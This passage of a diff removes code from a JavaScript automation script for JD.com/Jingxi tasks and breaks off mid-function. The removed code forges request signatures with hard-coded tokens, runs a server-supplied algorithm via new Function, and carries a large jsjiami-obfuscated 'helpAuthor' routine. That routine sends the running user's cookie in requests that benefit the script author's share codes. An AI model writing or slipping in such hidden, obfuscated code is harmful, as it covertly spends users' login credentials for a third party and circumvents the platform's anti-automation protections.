(d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - for (var k in l) { - if (new RegExp("(".concat(k, ")")).test(d)) { - var t, a = "S+" === k ? "000" : "00"; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) - } - } - return d; -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -async function requestAlgo() { - $.fingerprint = await generateFp(); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fingerprint, - "appId": $.appId.toString(), - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`request_algo 签名参数API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data); - data = JSON.parse(data); - if (data['status'] === 200) { - $.token = data.data.result.tk; - let enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); - console.log(`获取签名参数成功!`) - console.log(`fp: ${$.fingerprint}`) - console.log(`token: ${$.token}`) - console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) - } else { - console.log(`fp: ${$.fingerprint}`) - console.log('request_algo 签名参数API请求失败:') - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlData(url, '_stk') : '') - if (stk) { - const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); - let hash1 = ''; - if ($.fingerprint && $.token && $.enCryptMethodJD) { - hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - } else { - const random = '5gkjB6SpmC9s'; - $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; - $.fingerprint = 5287160221454703; - const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; - hash1 = $.CryptoJS.SHA512(str, token).toString($.CryptoJS.enc.Hex); - } - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - // console.log(`\nst:${st}`) - // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) - } else { - return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' - } -} - -/** - * 获取url参数值 - * @param url - * @param name - * @returns {string} - */ -function getUrlData(url, name) { - if (typeof URL !== "undefined") { - let urls = new URL(url); - let data = urls.searchParams.get(name); - return data ? data : ''; - } else { - const query = url.match(/\?.*/)[0].substring(1) - const vars = query.split('&') - for (let i = 0; i < vars.length; i++) { - const pair = vars[i].split('=') - if (pair[0] === name) { - // return pair[1]; - return vars[i].substr(vars[i].indexOf('=') + 1); - } - } - return '' - } -} -/** - * 模拟生成 fingerprint - * @returns {string} - */ -function generateFp() { - let e = "0123456789"; - let a = 13; - let i = ''; - for (; a--; ) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0,16) -} -var _0xod6='jsjiami.com.v6',_0x20b2=[_0xod6,'w5jCu8Onw5MVLA==','wrVQVX/DqjLChQvCmkpZRg==','fwDCqsOqwozDoA==','DMOmHcKNOcKLKDbDu8O6w51b','wovDssOnwpVJwrnDug7CqMKnd2zCtsOlw7Ugw4bDvVIDw7DCiAHDhx1/wrFiw7nDksKowq7CgMOp','alZ+wrDDjw==','P8K6IsKwwr8=','cUHDhnoA','wrjChcKuExM=','fRzCtsO/wok=','woPCoEXDlsOc','wrdvOhnCsA==','EV4kwq8nwrPDtsKdZxLCr8KrKMKQOAtJwrEIJsKvwr/CmsOIXxJ5E8Omw4jCuVA0woEDw7nCtwnCkCDDhMOuwqF6wqXCjsORw5rCrm0BwpInUMKAwqTCqsOywpJGw4nDowtNUMKAMsKvwpQ2DBPCjg==','H0gTwroA','w7jCu8OcwojCn8KJLMKnez/CoiDClcK+AcKsPsO6wqHDqhZkw7jDmzdse8KdEMOfARTDl8O7w5XCrsOjCMKNwr4vwoTCnWvCnsOR','wphfLw/CkA==','BCfDtGI/B0YVGWtTCMO0wqV0w54lOU9Aw6J6w7d7ZhRoRcKowqzDuzvDmcK5dsOAworCgMKXAg==','wpQbEnRk','P0fCscO+wp3DusOCw73CvB9hJX7DlcKlFzXCmXN9wrA4wojDoS7CncOkXzPCtnkuYhsvFMOTwqbCiMOqw6EQw6/Cm1s=','wqxRZGo=','MsO9PMKmLA==','QSwawrZuwqcFw5w8G8OUwr03wqXDtEDCgErDvMO6wp/Cu8ODwrLCv2nCp8OzUicpPsKUw4XDtwVkam1qw6sew4VJw4XDsx93woHDkcOfQcOywpdswpLDjsO5O8OT','ZDcUwq9xw7FLw5xuXMKQw7h6w6LDh0fCggvDqsKpw4bClMO8woTDtHPDmMOuTS0tasK+w4LCslU6Gi1Uwq8Rw4RBw4fDuBBQwoTDrcKMe8ORw5JGwpXChMOLJMONZ8OCCzbDgcOIcMOmw7DCjMKdw6fDqjrCmsOyGMKAwpwdwq0QF8KRw4XCt30awpAudzfCgcO0DA9CwrLCrsOBDsKuwrpwAsOvI1QycndIwpdswrHDsG9yw5k2wqxZwqc6CgloT2gKwqfCqsOzw6/CrcKQwoHCr8O3w4x1SsKAwp3DvQ3DncKcw5FhM8Oqw73DmEHCrA==','w6fCl1M=','wqR0elTDnw==','WjB5SlY=','worCjVfDq8OT','w70Lb8O+','wppNXMO3wqc=','QC0Qw7zCkcOvw6TCkcKQwoDDrm/CknnCgMO9w5/DvE9+LMKVG3EtI8KWw4DCkD3DpcK/w6PCt8Ouwq4+VsKpw7DDiVLCmUjCr0zCicO7MjPCm8K5bcOzYcOzw7/CvHBiw5keW8OeHcO9wojDnDIGw6kqw7kswqzCsnPDtS8FwoDDqGcKdcOIwo0=','wqTClVXDjsOOOMOVw7BiXMKmVW7DnX7Cj8OhwqnCpRXCrUvDjlp3QMKWw7Zewq15wrZMEMKxworClsKVF3zDpDnDlmQ5IlzDqz7Dg0Bra8OmwpHCksOBd8K9L8KGwpPCpy3DoMKew5B0Swluw4YgFRYMw6TCt8OLR3A=','w4EsL8Oqw7o=','wpNjBB/Cug==','ZA7Cl8OPwoA=','GR3Cr2rCoA==','w6cTVcOiw4nDv8OBwrkuwpw=','NkhZwqU2cUR6worDpQ==','wqwRwrzCnx8=','wqLCrMKuwq3DosKZw7x2E8OiOWAnw7kFwrfDmcKHEMOALcO3ccOPS8KJOx3DuHBbWg==','RkR/wqLDig==','L8Ksw7dcw4/CildwGcKNw5BQ','wq4baMOIw4Vkw7BCw5FNwoPDk8KTQQ/DtsOiw6fCow3DtSfCqgpmw5MKZkjCrcKCw7zCtMO2wqQ=','wqcfbMOUw589wr4Zw5dSwojCksKLVwTDqMKvwqTCvA3DuX7Drx5mw5sXbUrDp8OMw73DvQ==','wpXCrMKQPhhyw6xdBzdUKzsfV0bCoMO8woxCw7crOMKOwo9vDMKyw5BNJsKHPsOZV3dEVFTDgA0zwpXChlfDjMKRw604WBLDnwjCjGkvw6QrwqXChm1Sw6zDiRPCv2UcBsKgYMOsYE3DhRjDlTPDvMKtw7bCiMOgdWjCrAsIw7fCnzfDq8OKwrrDj8KbwpnDuRV3w7g3IMOHwo0WZMKrwqPDvxpbw5pIIMOkw7IjEgfCt8KnwqnCkVNON03Dn8OZw40oIcKffhcIfcOzMsKTcglIZ8OEw6QEwrfClMOWwoHCgcKiwqzCjnoWw7DCrcKiw67DhsOwZ8O1wp/Cp8OFF8OJwq7CpMKGw7LCicOABMKEKcO9w7HCv8O8PsKrMCDCuVrDjC5iwoDDknIoGsKuwqbDiMKHaAfCg8OMZ2I7wpJ/NMKqGMOrwo/DhcKXwq3DrhHDpMKow6bDimdOwrLCpsKFwqbConpUw7BZNTBbw4vCo3bCiBZ4GgdKw4Qrw60Tw5XDinVMwrLDu8KQYynCncKxT8Omw5ZHSnplDMOBWFIpwrTDnS4Cwpc9TsKLw48HwpXDicOMwrbCs8KRJsK9wr9tw7t4XmfCpTw5w6wow6LDjwHClsKPwq8iZFIbXMKzw73Dsxhow7ksY8K7woDDjRoEw7zCjwYGXsKMwofDp3DDmCgTwpHCnFU5MsK3exrCgyXDtmc/FBYbw53CisK/cw4Vw4PCncOVw4tWYcOKdzJkw5rCrMOCGBLDilHCoMKUVk8lX8Kxw4xgw69ew6Jow5HDmsOxwrhxRmxZT8Knw4PCpiRfwpvCj8K6WMO/QcOZwprClgsFw4w/w4DDqxFiw4Uewqkww7vDpkXCmhnCknLDrsKQwr7CmAE5w4B4K8Kzwr1HegTDhCXDt8O+FmsTwqlSw71aU8Oyw4DChcK9asONw77DscO0wrplIcOtw55WUE/DhMOMwq84b8OGXcOZwoPCi8K8wpTCscKXwqjChnwAU8KxZTlZQUJHw7rCliPCnMOdwoMWV11hdMKdw4vDo3zDucOhLXnCiMOsW8O1wr7CrQkTMnwBNXVtNHTDkGE8ekjCkMOfYVxGw4DDvsOaaMOhw7dtw7LCmxnDsE7DkiPCvMONdsKowp0LMBg1RMOdw6rClnTDicORwpYCM8Oowq4RwpDDgmRLRUvDn2DDh8O9OcKWw77Ck8KlwoDDlcONLXM8VcKSA8O5wot9dcKFUMO3HgXDv2FJw4dOCiU3X8Kfw7UGR8KOw5jDvsOKwq3DmQ7CiF4ZEQrDqXXCqMOoS8KSIcK4e8Onw4nDljjCl1nCl8OsGh/CncKhw6McKV5wwpFOLcKJasOOWhRLbjjDgMKdwpswTsKxw7ExwqzCkVdzw5bDmcOAA1DCiiHCgRY2SlXCqcOlM8K+VQEKMcKuWMKIMjxZanvDuSLDhMO4w7M=','wosCPG9bTcOeNFJMa2XDoMKoVSZkw7ZfAj/Cq8OWNjnDlx1pW8OnwqrCrsOhQnc2','e8K8NkzChw==','IcKbO8KO','wo5mUWbDqA==','wqpZPC/Cmg==','wo4xwqXChxE=','wrE9C1hc','TGrDp3su','wrrCjCnClVY=','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','w67Cr8OfwpjCqQ==','BwI3wqRr','cT8Kwo9y','woV2eHhs','w6PDtsK7w60=','wq9+acOuwrQ=','wrPDv1wBwoY=','P8OlDsK/HA==','ZcKKwonCksKE','e0ZGwqfDtXfCpgnClyrCrT3DosOXw4gHw6kTVWHDjMKLVzTDq8KxN8KQC8K9EsOKw4TCucOoDcKZHsK9IcKKTy3CucOIwr8gw5LChsKSUMKERWrDiHzCllXCmDLDssOlw6zDpMKgwodUAEnCi8OQwqXCg8OGKsOuwrFNwp7CisK2w54=','ScO6dnx3w6fDsEfDm8Oww4/CkA==','w6A/w4JTWsOcwrPDkh1Lw4vDlA==','w7LDqcK4w7XCucKcwqs1T8OrYilrwrYWw7TDjMKaQMKebsKubMObD8KGPEvCqSgJD8OM','QiV/SUBzDyXCucOsIcKPUcK2wrLCuAdWwqY=','J8KwO8O6Vx/DkFF3wprCkl/ChsKhbVPDhw==','wrbCrRzCsyzDuALDiykY','wroKwp/CsQ5rJytuWxPDhkJJwrzCosO9ZEjCslgWwrDCj3Bxw7TCmGfDskjDpsKp','w5I5w5Avw49YwrtRCVzCuwZ+woZhXUTDpywPBXzDoMKywr7CpcK1wqsWw4fCjhXDl3jCgygtGQILHsOgERBHL8KIw70/wrbCv8Kiw4zDux7DrA9hPcKgw5INd8OZYh91w5NFBX7CjsO+w4vCsMKWwpdjSsKaQWDCicONwo0jUcOUfCfDhcOhwp0wwqItGFF0w5/DpFAdRcKPIsKKCcKSwpNbQMOrw7fCpcKaw5fDqkbChMObw4MeKCjDmAkJZwvDj8OZwoPDtMOPfjleNMKIw4vDpsKAWTgfw7geS1XDlncEbxg8w4vCu8KTwqQBEmNvH8O1w4PCnDfDtcKTBMKbwp1NdS8RRMK5w5fChBnCnmHDtUDDpVPDpytfw6oTw4XDrcKkw6dkwp/Cu8Kiw59vwqXDgGUFwrQWw5bCjsOHwqrDlXjDuVYBfkdrHwXDmMOfFw7DgsKRH1XCpcKzWhLCt8OVSSY9M8OXZwTChMKdeF3CrsO5WlnDtyTDlDbCgMOmw5xxwo9jYcOtw51Pw7XClDImwqh8QV/DmcK6Em3DtHbCuiPDmgECCsKRw7Fe','woXCoMORKRc=','SWbDtXgsHHwNPWo=','w7kCacO6w6HDqQ==','wqhkcWjDtg==','w7TCgHMCwrg=','wrPCjsOhw5PCsw==','amYSJyw=','w7LCq8OcwozCn8KI','wqfCn8O4w7TCoQ==','XD/Co8OKwrc=','TmnDrn4o','N8OYB8K8JA==','wpXCjMOww5TCtA==','PMK9w7AWw43DiQ==','wpAaIXxN','DBcawpBZ','egDCgsOlR8OC','w7I1w7MwVA==','IS7CrDDCkg==','EWQZw5nDiA==','Fww9wopI','w5TChXAwwpo=','wq/CqRfCp27DtA==','PcKww7cRw4c=','PVIkwokj','wrTDhmIEwoA=','IcKMw7TDhMK5w6BSLUfDhsKdw4M=','wpfDul0pwq4=','U8OefXZP','w7EvK8Oqw4B2MwwDw4oiJQ==','QsOGwqLCgMKE','bcOZwozCmMKvfHgDJMOqYcKL','S8OtwqnCvsKS','worDqMORwoRIw6TCtEjCp8K+cCU=','fQjsrwqjJiWtaOJmzi.Ohcoum.v6=='];(function(_0x8bb9f8,_0x228415,_0xe78a40){var _0x22867=function(_0x2272c8,_0x1550c5,_0x90dab8,_0x551776,_0x3e966c){_0x1550c5=_0x1550c5>>0x8,_0x3e966c='po';var _0x1395db='shift',_0x14854f='push';if(_0x1550c5<_0x2272c8){while(--_0x2272c8){_0x551776=_0x8bb9f8[_0x1395db]();if(_0x1550c5===_0x2272c8){_0x1550c5=_0x551776;_0x90dab8=_0x8bb9f8[_0x3e966c+'p']();}else if(_0x1550c5&&_0x90dab8['replace'](/[fQrwqJWtOJzOhu=]/g,'')===_0x1550c5){_0x8bb9f8[_0x14854f](_0x551776);}}_0x8bb9f8[_0x14854f](_0x8bb9f8[_0x1395db]());}return 0x7f79e;};return _0x22867(++_0x228415,_0xe78a40)>>_0x228415^_0xe78a40;}(_0x20b2,0x117,0x11700));var _0x1b95=function(_0xb67384,_0x27295a){_0xb67384=~~'0x'['concat'](_0xb67384);var _0x22c9c8=_0x20b2[_0xb67384];if(_0x1b95['repoxu']===undefined){(function(){var _0x35aedc=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0xa9c080='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x35aedc['atob']||(_0x35aedc['atob']=function(_0xfd277a){var _0x2048b2=String(_0xfd277a)['replace'](/=+$/,'');for(var _0x39f824=0x0,_0x23f64f,_0x172f59,_0x5489f2=0x0,_0x2ca197='';_0x172f59=_0x2048b2['charAt'](_0x5489f2++);~_0x172f59&&(_0x23f64f=_0x39f824%0x4?_0x23f64f*0x40+_0x172f59:_0x172f59,_0x39f824++%0x4)?_0x2ca197+=String['fromCharCode'](0xff&_0x23f64f>>(-0x2*_0x39f824&0x6)):0x0){_0x172f59=_0xa9c080['indexOf'](_0x172f59);}return _0x2ca197;});}());var _0x211fa3=function(_0x3d0c7c,_0x27295a){var _0x2722a3=[],_0x10a05d=0x0,_0x5b96eb,_0x86c128='',_0x3c58eb='';_0x3d0c7c=atob(_0x3d0c7c);for(var _0x1902b4=0x0,_0x462a03=_0x3d0c7c['length'];_0x1902b4<_0x462a03;_0x1902b4++){_0x3c58eb+='%'+('00'+_0x3d0c7c['charCodeAt'](_0x1902b4)['toString'](0x10))['slice'](-0x2);}_0x3d0c7c=decodeURIComponent(_0x3c58eb);for(var _0x576d89=0x0;_0x576d89<0x100;_0x576d89++){_0x2722a3[_0x576d89]=_0x576d89;}for(_0x576d89=0x0;_0x576d89<0x100;_0x576d89++){_0x10a05d=(_0x10a05d+_0x2722a3[_0x576d89]+_0x27295a['charCodeAt'](_0x576d89%_0x27295a['length']))%0x100;_0x5b96eb=_0x2722a3[_0x576d89];_0x2722a3[_0x576d89]=_0x2722a3[_0x10a05d];_0x2722a3[_0x10a05d]=_0x5b96eb;}_0x576d89=0x0;_0x10a05d=0x0;for(var _0x744bea=0x0;_0x744bea<_0x3d0c7c['length'];_0x744bea++){_0x576d89=(_0x576d89+0x1)%0x100;_0x10a05d=(_0x10a05d+_0x2722a3[_0x576d89])%0x100;_0x5b96eb=_0x2722a3[_0x576d89];_0x2722a3[_0x576d89]=_0x2722a3[_0x10a05d];_0x2722a3[_0x10a05d]=_0x5b96eb;_0x86c128+=String['fromCharCode'](_0x3d0c7c['charCodeAt'](_0x744bea)^_0x2722a3[(_0x2722a3[_0x576d89]+_0x2722a3[_0x10a05d])%0x100]);}return _0x86c128;};_0x1b95['RzNaLl']=_0x211fa3;_0x1b95['KawoJz']={};_0x1b95['repoxu']=!![];}var _0x1a36d8=_0x1b95['KawoJz'][_0xb67384];if(_0x1a36d8===undefined){if(_0x1b95['SAYZQQ']===undefined){_0x1b95['SAYZQQ']=!![];}_0x22c9c8=_0x1b95['RzNaLl'](_0x22c9c8,_0x27295a);_0x1b95['KawoJz'][_0xb67384]=_0x22c9c8;}else{_0x22c9c8=_0x1a36d8;}return _0x22c9c8;};async function helpAuthor(){var _0x451b0b={'szXMc':function(_0x603816,_0x4346e8){return _0x603816-_0x4346e8;},'OZgGO':function(_0x2088e4,_0xeb915b){return _0x2088e4>_0xeb915b;},'hwNyt':function(_0x1c831a,_0xcef8e3){return _0x1c831a*_0xcef8e3;},'TwWCa':function(_0x179077,_0x2225d9){return _0x179077+_0x2225d9;},'tZfvn':function(_0x29761b,_0x1a945b){return _0x29761b!==_0x1a945b;},'trTqC':_0x1b95('0','Loz)'),'gkAjq':_0x1b95('1','[8ap'),'RPXPo':function(_0x1ee918,_0x3aa921){return _0x1ee918*_0x3aa921;},'AiPmv':function(_0x4c2c49,_0x1445ce){return _0x4c2c49+_0x1445ce;},'DxtVw':function(_0x59779a,_0x26372a){return _0x59779a(_0x26372a);},'PvvFd':_0x1b95('2','UT2R'),'sJIkJ':_0x1b95('3','z0up'),'FqlyY':function(_0x38819a,_0x521a9f,_0x360cee){return _0x38819a(_0x521a9f,_0x360cee);},'ydLgI':_0x1b95('4','k2]d'),'NnJjl':_0x1b95('5',')mvG'),'YDGkZ':_0x1b95('6','*t0J'),'GMRYj':_0x1b95('7',']4Cf'),'nyrrq':_0x1b95('8','k@m&'),'OAdha':_0x1b95('9','VW!q'),'NuDeH':_0x1b95('a','@@p8'),'fbCeT':_0x1b95('b','s8ss'),'aEQsh':_0x1b95('c','f&y['),'wmZkL':_0x1b95('d','t$Ye'),'WucJg':function(_0x43d406){return _0x43d406();}};function _0x3086f3(_0x466f7f,_0x421995){if(_0x451b0b[_0x1b95('e','7hLM')](_0x451b0b[_0x1b95('f','vbNw')],_0x451b0b[_0x1b95('10','v!gq')])){let _0x342992=_0x466f7f[_0x1b95('11','faI2')](0x0),_0x17b44a=_0x466f7f[_0x1b95('12','3I52')],_0x2cc31a=_0x451b0b[_0x1b95('13','v!gq')](_0x17b44a,_0x421995),_0x4c5792,_0x5f0d71;while(_0x451b0b[_0x1b95('14','xXQi')](_0x17b44a--,_0x2cc31a)){_0x5f0d71=Math[_0x1b95('15','f&y[')](_0x451b0b[_0x1b95('16','Loz)')](_0x451b0b[_0x1b95('17','v!gq')](_0x17b44a,0x1),Math[_0x1b95('18','j^US')]()));_0x4c5792=_0x342992[_0x5f0d71];_0x342992[_0x5f0d71]=_0x342992[_0x17b44a];_0x342992[_0x17b44a]=_0x4c5792;}return _0x342992[_0x1b95('19','I[vO')](_0x2cc31a);}else{let _0x4bb6ab=_0x466f7f[_0x1b95('1a','I#R(')](0x0),_0x44c2ed=_0x466f7f[_0x1b95('1b','Zx)i')],_0x39774b=_0x451b0b[_0x1b95('1c','k2]d')](_0x44c2ed,_0x421995),_0x152209,_0x2ad5e9;while(_0x451b0b[_0x1b95('1d','FKPk')](_0x44c2ed--,_0x39774b)){_0x2ad5e9=Math[_0x1b95('1e','[Q&z')](_0x451b0b[_0x1b95('1f','I#R(')](_0x451b0b[_0x1b95('20','vbNw')](_0x44c2ed,0x1),Math[_0x1b95('21','k@m&')]()));_0x152209=_0x4bb6ab[_0x2ad5e9];_0x4bb6ab[_0x2ad5e9]=_0x4bb6ab[_0x44c2ed];_0x4bb6ab[_0x44c2ed]=_0x152209;}return _0x4bb6ab[_0x1b95('22','j^US')](_0x39774b);}}let _0x278184=await _0x451b0b[_0x1b95('23','8%eV')](getAuthorShareCode2,_0x451b0b[_0x1b95('24','AtMB')]),_0x12498f=[];$[_0x1b95('25','7PP8')]=[..._0x278184&&_0x278184[_0x451b0b[_0x1b95('26','AtMB')]]||[],..._0x12498f&&_0x12498f[_0x451b0b[_0x1b95('27','z0up')]]||[]];$[_0x1b95('28','zeh1')]=_0x451b0b[_0x1b95('29','xgVT')](_0x3086f3,$[_0x1b95('2a','xgVT')],_0x451b0b[_0x1b95('2b','xgVT')]($[_0x1b95('2c','EpBf')][_0x1b95('2d','zT(T')],0x3)?0x6:$[_0x1b95('2e','7hLM')][_0x1b95('2f','xXQi')]);for(let _0x24d13d of $[_0x1b95('30','Loz)')]){const _0x2a2b93={'url':_0x1b95('31','EpBf'),'headers':{'Host':_0x451b0b[_0x1b95('32','UT2R')],'Content-Type':_0x451b0b[_0x1b95('33','MFB0')],'Origin':_0x451b0b[_0x1b95('34','f&y[')],'Accept-Encoding':_0x451b0b[_0x1b95('35','s8ss')],'Cookie':cookie,'Connection':_0x451b0b[_0x1b95('36','xXQi')],'Accept':_0x451b0b[_0x1b95('37','LvxL')],'User-Agent':_0x451b0b[_0x1b95('38','UMs9')],'Referer':_0x1b95('39','8%eV'),'Accept-Language':_0x451b0b[_0x1b95('3a','8%eV')]},'body':_0x1b95('3b','3I52')+_0x24d13d[_0x451b0b[_0x1b95('3c','UMs9')]]+_0x1b95('3d','f&y[')+_0x24d13d[_0x451b0b[_0x1b95('3e','I[vO')]]+_0x1b95('3f','xXQi')};await $[_0x1b95('40','7hLM')](_0x2a2b93,(_0x3374d8,_0x3b7920,_0x469ef3)=>{});}await _0x451b0b[_0x1b95('41','Loz)')](helpOpenRedPacket);}function getAuthorShareCode2(_0x9c229f=_0x1b95('42','&Upp')){var _0xdb5515={'FlvUn':function(_0x477240,_0x419706){return _0x477240(_0x419706);},'xJmJG':_0x1b95('43','&Upp'),'lWbOW':function(_0x35304c){return _0x35304c();}};return new Promise(async 